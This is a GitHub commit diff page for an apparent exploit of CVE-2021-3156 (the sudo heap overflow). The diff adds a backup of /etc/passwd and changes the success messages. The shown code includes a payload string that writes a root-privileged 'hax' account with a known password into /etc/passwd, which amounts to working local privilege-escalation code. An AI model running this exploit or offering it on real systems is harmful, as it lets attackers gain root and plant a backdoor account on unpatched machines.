We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent e4f9db1 commit f657b9dCopy full SHA for f657b9d
CVE-2021-3156/exploit.c
@@ -66,6 +66,7 @@ char * get_user() {
66
const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax
67
68
int main(void) {
69
+ system("cp /etc/passwd /tmp/passwd_bak");
70
size_t initial_size = get_passwd_size();
71
char * basedir_name = get_random_string(0x20);
72
@@ -94,7 +95,8 @@ int main(void) {
94
95
waitpid(pid, 0, 0);
96
97
if(get_passwd_size() != initial_size) {
- puts("Success!");
98
+ puts("[+] Success!");
99
+ puts("Make sure to copy back /etc/passwd from /tmp/passwd_bak!");
100
exit(0);
101
}
102
0 commit comments